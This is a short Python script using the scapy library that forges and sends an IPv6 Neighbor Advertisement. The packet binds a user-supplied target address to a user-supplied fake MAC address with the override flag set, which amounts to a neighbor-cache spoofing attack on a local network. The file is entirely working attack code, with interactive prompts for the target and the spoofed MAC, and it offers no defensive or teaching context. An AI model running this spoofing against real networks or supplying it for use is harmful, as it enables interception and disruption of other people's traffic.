import scapy.all as scapy

def send_fake_neighbor_advertisement(target_ip, fake_mac):
    try:
        packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") / \
                 scapy.IPv6(dst=target_ip) / \
                 scapy.ICMPv6ND_NA(tgt=target_ip, R=0, S=1, O=1) / \
                 scapy.ICMPv6NDOptDstLLAddr(lladdr=fake_mac)

        scapy.send(packet, verbose=False)
    except PermissionError:
        print("\033[1;31;40mInsufficient permissions. Please run the program as administrator.")
        print("\033[1;37;40m")

target_ip = input("Enter the target IPv6 address:")
fake_mac = input("Enter the fake MAC address:")

send_fake_neighbor_advertisement(target_ip, fake_mac)
